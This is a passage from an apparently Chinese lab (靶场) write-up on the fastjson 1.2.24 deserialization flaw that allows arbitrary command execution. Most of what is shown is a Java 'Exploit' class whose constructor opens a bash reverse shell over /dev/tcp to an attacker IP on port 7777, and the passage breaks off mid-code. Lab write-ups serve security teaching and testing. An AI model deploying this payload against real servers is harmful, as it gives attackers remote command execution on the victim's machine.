【漏洞靶场】--fastjson 1.2.24 反序列化导致任意命令执行漏洞

漏洞环境

以上是fastjson搭建好的默认页面。

exp准备

准备好如下Java代码：

	import java.io.BufferedReader;
	import java.io.InputStream;
	import java.io.InputStreamReader;
	
	public class Exploit{
	    public Exploit() throws Exception {
	        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/7777 0>&1"});
	        InputStream is = p.getInputStream();
	        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.clo